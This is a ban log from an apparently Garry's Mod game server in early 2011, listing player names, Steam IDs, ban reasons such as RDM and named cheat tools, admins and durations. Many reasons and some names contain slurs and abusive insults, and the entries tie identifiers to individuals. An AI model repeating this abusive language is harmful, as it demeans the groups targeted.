gtfo ColdFusion Unknown Unknown 0:14:49 Unbanned +10:45 pm 18-03-11 Unknown STEAM_0:0:25609791 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +9:16 pm 18-03-11 Prettymuc STEAM_0:0:38035563 Alt of banned ID +STEAM_0:0:38035563 (Console) Unknown Unknown Permanent Banned +7:53 pm 18-03-11 Great Denmark STEAM_0:0:21656159 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +7:51 pm 18-03-11 Unknown STEAM_0:0:19254119 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +7:51 pm 18-03-11 Unknown STEAM_0:0:32655084 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +2:14 am 18-03-11 à¹?Û£_KÃ¥Ã?ööM_ž STEAM_0:1:29538397 ghosting ++[SP]+ MAD MANN Unknown Unknown 0:1:0 Unbanned +11:36 pm 17-03-11 Prettymuc STEAM_0:0:38035563 Alt of banned ID +STEAM_0:0:38035563 (Console) Unknown Unknown Permanent Banned +8:23 pm 17-03-11 Unknown STEAM_0:0:38035563 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +8:21 pm 17-03-11 Unknown STEAM_0:0:12190592 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:51 pm 17-03-11 Unknown STEAM_0:1:33085260 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +3:45 pm 17-03-11 linus5553 STEAM_0:1:27082347 RDM, rdming before and +banned, lying +[SP]+ ULTRA Unknown Unknown 3:1:20 Unbanned +3:28 pm 17-03-11 Dá?¦rkMonster STEAM_0:1:32079838 Talked afther i +told him not to 480m ColdFusion Unknown Unknown 0:8:0 Unbanned +3:23 pm 17-03-11 Sweet Noob STEAM_0:1:25630402 RDM + Proppushing ++[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +3:20 pm 17-03-11 Unknown STEAM_0:1:38994052 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +3:19 pm 17-03-11 Unknown STEAM_0:1:38994052 480 ColdFusion +Unknown Unknown Permanent Banned +3:19 pm 17-03-11 Unknown STEAM_0:0:18898938 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +3:19 pm 17-03-11 Unknown STEAM_0:0:17605909 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +3:18 pm 17-03-11 Unknown STEAM_0:0:14690776 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +7:25 pm 16-03-11 Unknown STEAM_0:1:27082347 RDM + leave +[SP]+ +ULTRA Unknown Unknown 0:8:20 Unbanned +3:50 pm 16-03-11 AaOWhitey STEAM_0:0:37567815 fuck off ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:54 pm 16-03-11 !2fast4you! STEAM_0:1:19267727 RDM +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +2:44 pm 16-03-11 Unknown STEAM_0:1:20701395 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +9:33 pm 15-03-11 david121694 STEAM_0:1:33291100 RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +7:11 pm 15-03-11 +[SP]+ Nemesis STEAM_0:1:16289741 Test +[SP]+ +Hellknite Unknown Unknown 0:0:1 Unbanned +5:25 pm 15-03-11 Unknown STEAM_0:0:18902527 Dick in general, seen you +prop kill at least 5 times now ColdFusion Unknown Unknown 2:2:0 +Unbanned +5:23 pm 15-03-11 Unknown STEAM_0:0:18902527 Kept to RDM people even +after people told him not to. Being a tard, ignoring admin. Moving out +of hiding! Unknown Unknown Permanent Banned +5:21 pm 15-03-11 Unknown STEAM_0:0:18902527 Dick in general, seen you +prop kill at least 5 times now ColdFusion Unknown Unknown 2:2:0 +Unbanned +5:02 pm 15-03-11 Unknown STEAM_0:0:10230123 Rdm and disconnect +ColdFusion Unknown Unknown 2:18:40 Unbanned +2:03 pm 15-03-11 hot bird STEAM_0:1:30040569 Not learning +ColdFusion Unknown Unknown 0:6:40 Unbanned +1:50 pm 15-03-11 Unknown STEAM_0:1:18942871 Killing a fellow traitor +and making up a stupid excuse. Leaving without a good explanation ++[SP]+ ULTRA Unknown Unknown 30:0:0 Unbanned +7:55 pm 14-03-11 Unknown STEAM_0:1:16999502 will this overwrite the +old ban? +[SP]+ ULTRA Unknown Unknown 0:0:1 Unbanned +7:54 pm 14-03-11 Unknown STEAM_0:1:16999502 Being a fucking minge, +twat, retard. +[SP]+ ULTRA Unknown Unknown 0:0:1 Unbanned +7:45 pm 14-03-11 Unknown STEAM_0:1:16999502 Being a fucking minge, +twat, retard. +[SP]+ ULTRA Unknown Unknown 0:2:0 Unbanned +7:37 pm 14-03-11 beiber feber STEAM_0:1:16999502 Being a fucking +minge, twat, retard. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:41 pm 14-03-11 Unknown STEAM_0:1:15320742 Cheat: Speedhack +ColdFusion Unknown Unknown Permanent Banned +8:43 pm 13-03-11 Roll STEAM_0:1:20264839 Gore Spray, Multiple +Warnings, Ignoring Admin +[SP]+ Bloodcore Unknown Unknown 16:16:0 +Unbanned +7:23 pm 13-03-11 Unknown STEAM_0:1:8048579 Admin impersonation, dumb, +ADMINS ON THIS SERVER FUCK EACHOTHERS ASS (Console) Unknown Unknown +Permanent Banned +6:27 pm 13-03-11 Unknown STEAM_0:0:17277217 Cheat: lh (Console) +Unknown Unknown Permanent Banned +4:49 pm 13-03-11 Unknown STEAM_0:1:30074494 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 12:12:0 Unbanned +10:34 pm 12-03-11 marko-ramius STEAM_0:0:27242516 Cheat: Speedhack +ColdFusion Unknown Unknown Permanent Banned +6:06 pm 12-03-11 Fluffy Mad Cat STEAM_0:0:28871977 Cheat: Speedhack +ColdFusion Unknown Unknown Permanent Banned +2:52 pm 12-03-11 Unknown STEAM_0:0:2294681 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +10:48 am 12-03-11 -=Dr.Rush=- STEAM_0:1:32329244 Idiot ColdFusion +Unknown Unknown 0:8:0 Unbanned +10:48 am 12-03-11 Andaz STEAM_0:0:19953733 Why? ColdFusion +Unknown Unknown 0:8:0 Unbanned +10:05 am 12-03-11 Colek STEAM_0:1:10972966 Idiot ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:45 am 12-03-11 Unknown STEAM_0:0:1500931 RDM then disconnect ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +7:00 pm 11-03-11 theguard STEAM_0:1:30165654 Wants people to hate +him, 1200 minutes ColdFusion Unknown Unknown 0:20:0 Unbanned +2:42 pm 11-03-11 Unknown STEAM_0:0:18614491 Randomly attacking people ++ Lying to admin +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:10 pm 11-03-11 COMPANY OF ASSHOLES (WOLFGANG) STEAM_0:1:24281967 +RDM 480 minutes, Meh ColdFusion Unknown Unknown 0:8:0 Unbanned +2:07 pm 11-03-11 Unknown STEAM_0:1:16105665 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +2:07 pm 11-03-11 Unknown STEAM_0:1:16105665 RDM +[SP]+ ULTRA +Unknown Unknown 7:0:0 Unbanned +1:34 pm 11-03-11 Unknown STEAM_0:1:30162895 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 6:22:40 Unbanned +6:12 am 11-03-11 +[SP]+ Saphirra STEAM_0:0:20503368 Complete dick +towards Saphira +[SP]+ St. Hetfield Unknown Unknown Permanent Banned +10:02 pm 10-03-11 Unknown STEAM_0:0:25519336 Mass RDM // Request from +Bloodcore +[SP]+ ULTRA Unknown Unknown 2:0:20 Unbanned +9:41 pm 10-03-11 Unknown STEAM_0:1:18287314 Rebanning for the third +time, ban bug. +[SP]+ ULTRA Unknown Unknown Permanent Banned +4:45 pm 08-03-11 Numb STEAM_0:1:500153 Rdm 480 m ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:06 pm 08-03-11 -.@[]@.- STEAM_0:1:16041153 RDM + Lying all the +time +[SP]+ ULTRA Unknown Unknown Permanent Banned +1:36 pm 08-03-11 Unknown STEAM_0:1:32648334 RDM + Leave without +explanation +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +2:34 am 07-03-11 xxDasBoSChittxx STEAM_0:1:13493394 Threatening +illegal activities, trolling, imitating other people +[SP]+ Suicidal +Robot Unknown Unknown Permanent Banned +12:14 am 07-03-11 CÂ?0BRA STEAM_0:0:32164051 Alt of banned ID +STEAM_0:1:18811312 (Console) Unknown Unknown Permanent Banned +6:50 pm 06-03-11 aaagamer STEAM_0:1:19986344 RDM 480 m ColdFusion +Unknown Unknown 0:8:0 Unbanned +6:48 pm 06-03-11 The Fading Door STEAM_0:1:27260119 RDM +[SP]+ +Bloodcore Unknown Unknown 0:2:0 Unbanned +2:23 pm 06-03-11 Unknown STEAM_0:1:26221432 RDM + Disconnect +[SP]+ +St. Hetfield Unknown Unknown Permanent Banned +2:17 pm 06-03-11 Unknown STEAM_0:1:22684909 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +2:05 pm 06-03-11 Rela STEAM_0:0:24086497 10 minutes for RDM +[SP]+ +St. Hetfield Unknown Unknown 0:0:10 Unbanned +11:09 am 06-03-11 vitaminka76 STEAM_0:1:12863750 RDM/karma to low +1000 minutes ColdFusion Unknown Unknown 0:16:40 Unbanned +10:39 am 06-03-11 Unknown STEAM_0:0:24419439 RDM ColdFusion +Unknown Unknown 0:14:40 Unbanned +10:20 am 06-03-11 Unknown STEAM_0:0:15672028 RDM ColdFusion +Unknown Unknown Permanent Banned +9:02 am 06-03-11 Samusf STEAM_0:1:25630402 Calm down +[SP]+ St. +Hetfield Unknown Unknown 0:0:5 Unbanned +3:42 am 06-03-11 Mr. Biggles STEAM_0:0:15869913 Rdm and being a +fuckass +[SP]+ Hellknite Unknown Unknown 0:10:0 Unbanned +1:17 am 06-03-11 Agito STEAM_0:1:29323968 Alt of banned ID +STEAM_0:0:31831863 (Console) Unknown Unknown Permanent Banned +7:41 pm 05-03-11 Hvolgaard STEAM_0:0:14112901 Mass-RDM as detective ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +6:43 pm 05-03-11 ............................... STEAM_0:1:36114090 +Alt of banned ID STEAM_0:1:25983023 (Console) Unknown Unknown +Permanent Banned +3:53 pm 05-03-11 Unknown STEAM_0:0:5422966 RDM as detective several +times, leaving +[SP]+ ULTRA Unknown Unknown Permanent Banned +2:28 pm 05-03-11 hondacoolkid STEAM_0:0:37769890 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:20:40 Unbanned +10:53 am 05-03-11 mr_lakris STEAM_0:0:37841002 Major TK, Have fun ++[SP]+ CCD Unknown Unknown Permanent Banned +10:49 am 05-03-11 vitaminka76 STEAM_0:1:12863750 Team Killing +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +10:47 am 05-03-11 BloodyDragon (CRO) STEAM_0:1:6121968 Team Killing ++[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +4:10 am 05-03-11 +[SP]+ OldFaggotDike STEAM_0:1:21996971 Using the +Tag without Permission, RDM +[SP]+ Bloodcore Unknown Unknown +20:20:0 Unbanned +3:59 am 05-03-11 WOW_STADS FOR WROLD OF WARCRAFT STEAM_0:1:1702393 +WoW-Fan, RDM, Ignoring Admin +[SP]+ Bloodcore Unknown Unknown +0:1:0 Unbanned +10:04 pm 04-03-11 «ξÏ?Î?Ï?»â?¢Â§Â©Ð¯Ã­Ã?Ã?Å?£ STEAM_0:1:13351892 +base removal while under attack and mouthing off +[SP]+ Suicidal +Robot Unknown Unknown 2:0:0 Unbanned +5:49 pm 04-03-11 killerrr STEAM_0:1:18287314 Come back in a year, +rebanning Cloaked PIAT Sapper Unknown Unknown 365:0:0 Unbanned +1:44 pm 04-03-11 Unknown STEAM_0:1:10848220 Being a smart ass + rdm + +doing that on an admin +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +11:31 pm 03-03-11 JTFish STEAM_0:0:5769642 Fag 120 minutes, go suck a +ginger dick ColdFusion Unknown Unknown 0:2:0 Unbanned +8:57 pm 03-03-11 Å?lεÑ?ø STEAM_0:1:20461246 RDM ColdFusion +Unknown Unknown Permanent Banned +8:40 pm 03-03-11 Shoulda Had A V8 STEAM_0:1:4166235 Fuck you Nigga +aswell +[SP]+ CCD Unknown Unknown Permanent Banned +4:30 pm 03-03-11 Unknown STEAM_0:1:25983023 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:28 pm 03-03-11 Unknown STEAM_0:1:6068936 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:21 pm 03-03-11 Dr. Bond STEAM_0:0:30049961 Rainbows ColdFusion +Unknown Unknown 0:8:0 Unbanned +8:40 pm 02-03-11 SUPER GEEK STEAM_0:0:7323765 Randomly shooting + +retard +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +3:33 pm 02-03-11 Kaec STEAM_0:0:2910428 So you were that fucking +propkiller St. Hetfield Unknown Unknown 0:5:0 Unbanned +2:10 pm 02-03-11 Clu - i7 980X STEAM_0:1:18120705 Cool of man St. +Hetfield Unknown Unknown 0:0:5 Unbanned +11:25 pm 01-03-11 Unknown STEAM_0:0:13401222 spaming +[SP]+ MAD +MANN Unknown Unknown Permanent Banned +11:14 pm 01-03-11 Unknown STEAM_0:0:35383877 spam spam spam +[SP]+ +MAD MANN Unknown Unknown Permanent Banned +11:11 pm 01-03-11 Unknown STEAM_0:0:35383877 Mic spam, Asshole ++[SP]+ CCD Unknown Unknown Permanent Banned +11:10 pm 01-03-11 Manic STEAM_0:1:31068293 Fuck of changing your +name, and mic spam +[SP]+ CCD Unknown Unknown Permanent Banned +11:08 pm 01-03-11 Unknown STEAM_0:1:8562453 Racism +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +11:05 pm 01-03-11 Dublin STEAM_0:1:8562453 Racism +[SP]+ CCD +Unknown Unknown Permanent Banned +5:12 pm 01-03-11 |HGN| Predu STEAM_0:0:16901706 Disrespecting admin, +being a complete ass +[SP]+ St. Hetfield Unknown Unknown 2:2:0 +Unbanned +5:06 pm 01-03-11 Elevator champion! STEAM_0:0:2222826 Have you got +skills for unban? +[SP]+ St. Hetfield Unknown Unknown 2:2:0 Unbanned +4:56 pm 01-03-11 fam.de.haas STEAM_0:0:35542700 You suck, detective ++[SP]+ St. Hetfield Unknown Unknown 1:9:20 Unbanned +4:30 pm 01-03-11 +[SP]+ Samgie123 STEAM_0:0:33773456 Wtf is wrong +with you - CCD +[SP]+ CCD Unknown Unknown 0:2:9 Unbanned +12:52 am 01-03-11 Cheesey Dean STEAM_0:1:24840872 Same reason as +other ban +[SP]+ Wigbig Unknown Unknown 2:8:40 Unbanned +12:51 am 01-03-11 Unknown STEAM_0:1:24840872 Same reason as other +ban +[SP]+ Wigbig Unknown Unknown 2:8:40 Unbanned +12:10 am 01-03-11 British beast STEAM_0:1:18460701 Insulting players, +admins, teamkilling +[SP]+ Wigbig Unknown Unknown 2:8:40 Unbanned +4:37 pm 28-02-11 Unknown STEAM_0:0:7417382 RDM,Treason,Asshole,FUCK +FACE +[SP]+ CCD Unknown Unknown 0:3:0 Unbanned +2:41 pm 28-02-11 Dr. House STEAM_0:0:8996978 No spam +[SP]+ St. +Hetfield Unknown Unknown 0:1:40 Unbanned +1:22 pm 28-02-11 Smike STEAM_0:1:17826664 Idiot +[SP]+ St. +Hetfield Unknown Unknown Permanent Banned +3:11 am 28-02-11 Unknown STEAM_0:0:2346050 (N/A) +[SP]+ Bloodcore +Unknown Unknown 0:10:0 Unbanned +3:10 am 28-02-11 -=[SP]=- à¹?Û?Û£Roxas [Reprend] STEAM_0:0:2346050 +Behave. +[SP]+ Bloodcore Unknown Unknown 4:4:0 Unbanned +3:09 am 28-02-11 wendy_derkle546 STEAM_0:0:19402729 Get out +[SP]+ +Bloodcore Unknown Unknown Permanent Banned +4:59 pm 27-02-11 Unknown STEAM_0:1:9126471 Mass-RDM, RDM, Possibility +of ghosting, etc +[SP]+ Bloodcore Unknown Unknown Permanent Banned +4:12 pm 27-02-11 +[SP]+ ty (deus lo vault) STEAM_0:1:25219286 Using +the tag without being a member +[SP]+ Bloodcore Unknown Unknown +0:10:0 Unbanned +1:03 pm 27-02-11 ä¹?Я-Rä¹?â?¢B̵̡u̵̡n̵̡d̵ STEAM_0:0:22243544 +Faggot,Learntoplay,RDM +[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +12:26 pm 27-02-11 [Gmod.biZ] ︻æ°?ã??â??ä¸? Kill STEAM_0:0:27065857 +Ghosting +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +12:25 pm 27-02-11 Unknown STEAM_0:1:26626436 Ghosting +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +12:19 pm 27-02-11 â??Blλck CobЯaâ?? [Gmod.biZ] STEAM_0:1:31973372 +RDM,GHOSTING +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +12:18 pm 27-02-11 [Gmod.biZ] TT No 1 Forever STEAM_0:1:26626436 +Ghosting +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +8:33 pm 26-02-11 Dziwaczna papuga zagÅ?ady xD STEAM_0:0:27446399 +RDM,Treason +[SP]+ CCD Unknown Unknown 31:6:0 Unbanned +7:41 pm 26-02-11 wsupden STEAM_0:1:36358497 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +9:32 am 26-02-11 Unknown STEAM_0:0:20472448 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +7:44 pm 25-02-11 ChooseN STEAM_0:0:18859568 TROLOLOLOLOL +[SP]+ +CCD Unknown Unknown 6:23:20 Unbanned +1:20 pm 25-02-11 Unknown STEAM_0:1:11936829 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +2:11 am 25-02-11 Gorgeous Groege STEAM_0:1:23430296 RDM,Persistent ++[SP]+ CCD Unknown Unknown Permanent Banned +10:57 pm 24-02-11 Klaus STEAM_0:1:8048579 Mass-RDM, Leaving and +changing name to prevent punishment +[SP]+ Bloodcore Unknown +Unknown 8:8:0 Unbanned +10:53 pm 24-02-11 Unknown STEAM_0:1:5388189 Lying, Leaving to prevent +punishment +[SP]+ Bloodcore Unknown Unknown 0:1:0 Unbanned +6:30 pm 23-02-11 Ice Fox STEAM_0:1:21588698 Rdm and disrespecting my +fapping +[SP]+ St. Hetfield Unknown Unknown 0:0:30 Unbanned +6:16 pm 23-02-11 junior STEAM_0:1:26943387 Suck a dick +[SP]+ St. +Hetfield Unknown Unknown 0:0:30 Unbanned +4:45 pm 23-02-11 [FP] Jolt Masslight STEAM_0:1:15864997 Alt of banned +ID STEAM_0:1:15056804 (Console) Unknown Unknown 0:0:2 Unbanned +4:38 pm 23-02-11 Commoner STEAM_0:1:15056804 Cant play normally, 10 +minutes ColdFusion Unknown Unknown 0:0:10 Unbanned +4:16 pm 23-02-11 -cG-à¹?Û£Û?Boneà¹?Û£Û?Breaker93 STEAM_0:0:30812563 +RDM/Karma To low, 480 Minutes ColdFusion Unknown Unknown 0:8:0 +Unbanned +1:50 pm 23-02-11 WtFzRRR STEAM_0:1:19453162 RDM +[SP]+ CCD +Unknown Unknown 0:7:30 Unbanned +9:51 am 23-02-11 Unknown STEAM_0:1:18810998 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 0:5:0 Unbanned +3:57 pm 22-02-11 Unknown STEAM_0:1:31177732 RDM,Left +[SP]+ CCD +Unknown Unknown Permanent Banned +3:45 pm 22-02-11 Unknown STEAM_0:0:33330244 RDM,Treason,Left ++[SP]+ CCD Unknown Unknown Permanent Banned +3:23 am 22-02-11 Unknown STEAM_0:1:34087683 Crashing the server ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +1:37 am 22-02-11 Unknown STEAM_0:0:11587057 RDM, RDM -> Disconnect, +Ignoring Admin +[SP]+ Bloodcore Unknown Unknown 41:16:0 Unbanned +9:55 pm 21-02-11 Red bull STEAM_0:0:36505286 Rdm (again) 120 +minutes ColdFusion Unknown Unknown 0:2:0 Unbanned +9:20 pm 21-02-11 Unknown STEAM_0:0:14260996 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:13 pm 21-02-11 Hellsâ??Highway[AM] STEAM_0:1:5190088 RDM +ColdFusion Unknown Unknown 0:2:0 Unbanned +8:59 pm 21-02-11 Vittorio STEAM_0:0:16253055 Gag evading 120 +minutes ColdFusion Unknown Unknown 0:2:0 Unbanned +5:30 pm 21-02-11 â?­ VenaGe;3 Ft. Roflcopta â?­ STEAM_0:0:19804927 My +genitals itch +[SP]+ St. Hetfield Unknown Unknown Permanent Banned +4:07 pm 21-02-11 +[SP]+ MeadowBug STEAM_0:0:18096541 Enjoy your +break +[SP]+ St. Hetfield Unknown Unknown Permanent Unbanned +3:57 pm 21-02-11 spinuck STEAM_0:1:4883056 Massive RDM +[SP]+ St. +Hetfield Unknown Unknown 4:4:0 Unbanned +3:41 pm 21-02-11 (MG)CheeseBurgerApocalypse STEAM_0:1:28267770 RDM ++[SP]+ St. Hetfield Unknown Unknown 0:0:10 Unbanned +2:45 pm 21-02-11 Dr.Dolfenjunge von Tacoschmerz STEAM_0:0:26652739 +Shut up +[SP]+ St. Hetfield Unknown Unknown 0:0:10 Unbanned +2:23 pm 21-02-11 .::OoNikItOsiNaoO::. STEAM_0:1:37473607 RDM +ColdFusion Unknown Unknown 0:2:0 Unbanned +11:13 pm 20-02-11 LGDragon STEAM_0:1:37008122 RDM, Ghosting +[SP]+ +Bloodcore Unknown Unknown Permanent Unbanned +11:12 pm 20-02-11 Aaron13 STEAM_0:0:35800006 RDM, Ghosting +[SP]+ +Bloodcore Unknown Unknown Permanent Unbanned +7:45 pm 20-02-11 rofl copta rulez STEAM_0:0:34586771 Idiotic RDM ++[SP]+ Bloodcore Unknown Unknown 8:8:0 Unbanned +5:23 pm 20-02-11 ¤..:::Kyubu:::..¤ Noobie_war STEAM_0:1:33410999 +RDM, Multiple Warnings +[SP]+ Bloodcore Unknown Unknown 41:16:0 +Unbanned +2:32 pm 20-02-11 TMC | Hatake Kakashi STEAM_0:0:22843745 RDM +ColdFusion Unknown Unknown 0:2:0 Unbanned +2:12 pm 20-02-11 Unknown STEAM_0:0:31618055 Cheat: Aspergers +(Console) Unknown Unknown Permanent Banned +2:11 pm 20-02-11 Unknown STEAM_0:1:37836545 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +2:11 pm 20-02-11 Unknown STEAM_0:1:6427907 Cheat: Aspergers +(Console) Unknown Unknown Permanent Banned +10:11 pm 19-02-11 Unknown STEAM_0:0:29999073 (N/A) +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +10:10 pm 19-02-11 aziza mustafa zadeh STEAM_0:0:29999073 I +kicked/gagged you for a reason. +[SP]+ Bloodcore Unknown Unknown +4:4:0 Unbanned +9:24 pm 19-02-11 [á´°s] II HitmanJack x STEAM_0:1:32531347 RDM, +Mic-Spam, Threatening to DoS +[SP]+ Bloodcore Unknown Unknown +32:4:0 Unbanned +3:37 pm 19-02-11 mcburgerqueen STEAM_0:1:30426035 Alt of banned ID +STEAM_0:1:34294816 (Console) Unknown Unknown 55:5:33 Unbanned +5:11 am 19-02-11 Unknown STEAM_0:1:34294816 DR - Button Spammer ++[SP]+ Bloodcore Unknown Unknown 41:16:0 Unbanned +5:10 am 19-02-11 Flaperjacker STEAM_0:1:34294816 DR +[SP]+ +Bloodcore Unknown Unknown 41:16:0 Unbanned +8:20 pm 18-02-11 Zmirtz=+?&¤#æøtf STEAM_0:1:22227786 (N/A) +[SP]+ +Bloodcore Unknown Unknown 0:1:0 Unbanned +6:11 pm 17-02-11 Unknown STEAM_0:1:28153489 (N/A) +[SP]+ ULTRA +Unknown Unknown 60:0:0 Unbanned +6:03 pm 17-02-11 Unknown STEAM_0:1:19312535 (N/A) +[SP]+ ULTRA +Unknown Unknown 0:10:0 Unbanned +5:58 pm 17-02-11 Unknown STEAM_0:1:24982196 (N/A) +[SP]+ ULTRA +Unknown Unknown 14:0:0 Unbanned +5:52 pm 17-02-11 Unknown STEAM_0:1:2889508 (N/A) +[SP]+ ULTRA +Unknown Unknown 30:0:0 Unbanned +8:11 pm 14-02-11 Unknown STEAM_0:0:22123586 (N/A) +[SP]+ ULTRA +Unknown Unknown Permanent Banned +7:26 pm 14-02-11 Unknown STEAM_0:0:34730342 (N/A) +[SP]+ ULTRA +Unknown Unknown 7:0:0 Unbanned +7:05 pm 14-02-11 ColdFusion STEAM_0:0:13310483 (N/A) ColdFusion +Unknown Unknown 0:0:0 Unbanned +12:46 pm 14-02-11 Unknown STEAM_0:1:24332877 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +9:04 pm 13-02-11 Unknown STEAM_0:1:12209165 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +9:03 pm 13-02-11 Unknown STEAM_0:0:13388289 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +9:55 am 13-02-11 Unknown STEAM_0:1:18811312 Cheat: SySHack +(Console) Unknown Unknown Permanent Banned +9:52 am 13-02-11 Unknown STEAM_0:1:16190578 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +9:52 am 13-02-11 Unknown STEAM_0:0:31831863 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:14 am 12-02-11 Unknown STEAM_0:1:37548052 Cheat: Inkbot +(Console) Unknown Unknown Permanent Banned +11:14 am 12-02-11 Unknown STEAM_0:0:31831863 Cheat: +Sethhack(leaked) (Console) Unknown Unknown Permanent Banned +7:21 pm 11-02-11 Unknown STEAM_0:0:18816061 Cheat: Sethhack(leaked) +(Console) Unknown Unknown Permanent Banned +7:20 pm 11-02-11 Unknown STEAM_0:0:15446164 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +7:19 pm 11-02-11 Unknown STEAM_0:1:20789337 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +4:35 pm 10-02-11 Unknown STEAM_0:1:20789337 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +2:02 pm 09-02-11 Unknown STEAM_0:0:19938980 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +5:45 pm 06-02-11 Unknown STEAM_0:1:29151231 Removing base to avoid +losing money, flaming - Hetfield (Console) Unknown Unknown +Permanent Unbanned +5:23 pm 06-02-11 Unknown STEAM_0:1:15998850 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +5:22 pm 06-02-11 Unknown STEAM_0:1:21918773 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:10 pm 05-02-11 Unknown STEAM_0:0:28903624 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:00 pm 02-02-11 Unknown STEAM_0:1:22018370 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:00 pm 02-02-11 Unknown STEAM_0:0:31866003 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:31 pm 02-02-11 Unknown STEAM_0:0:38362287 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:30 pm 02-02-11 Unknown STEAM_0:1:12808689 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:30 pm 02-02-11 Unknown STEAM_0:1:32988394 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +3:29 pm 02-02-11 Unknown STEAM_0:0:13983114 SethHack - Reban if +necessary (Console) Unknown Unknown 444:13:4 Unbanned +7:16 pm 26-01-11 |IMD| HuggyBear STEAM_0:1:14411996 (Troll) +Flapadar Unknown Unknown Permanent Banned +7:16 pm 26-01-11 |IMD| Dont fear the bunny STEAM_0:1:16661068 +(Troll) Flapadar Unknown Unknown Permanent Banned +7:16 pm 26-01-11 |IMD| UberSmudge STEAM_0:1:18589389 (Troll) +Flapadar Unknown Unknown Permanent Banned +7:09 pm 26-01-11 The Suave Mongrel STEAM_0:0:24330895 Alt of banned +ID STEAM_0:0:24330895 (Console) Unknown Unknown Permanent Banned +7:36 pm 25-01-11 Unknown STEAM_0:1:36114090 SethHack Dev - Reban if +necessary (Console) Unknown Unknown Permanent Unbanned +1:27 pm 23-01-11 Unknown STEAM_0:0:15704483 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +1:24 pm 23-01-11 Unknown STEAM_0:1:25879423 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +9:54 pm 22-01-11 shadow dealer STEAM_0:1:33622830 +[SP]+ Nekoace +Unknown Unknown Permanent Banned +7:39 pm 19-01-11 Unknown STEAM_0:1:27836986 Insulting admins +(Console) Unknown Unknown 1:0:0 Unbanned +6:15 pm 19-01-11 Unknown STEAM_0:1:25179712 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +4:17 pm 17-01-11 Unknown STEAM_0:1:16784284 Just shut up nerd... +(Console) Unknown Unknown Permanent Banned +1:08 pm 15-01-11 Unknown STEAM_0:1:27017512 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +12:41 pm 15-01-11 Unknown STEAM_0:1:37118627 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +12:40 pm 15-01-11 Unknown STEAM_0:1:19732775 Cheat: Ph0ne +(Console) Unknown Unknown Permanent Banned +6:52 pm 09-01-11 Unknown STEAM_0:0:14530371 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:52 pm 09-01-11 Unknown STEAM_0:0:17003802 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:51 pm 09-01-11 Unknown STEAM_0:0:29163952 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:47 pm 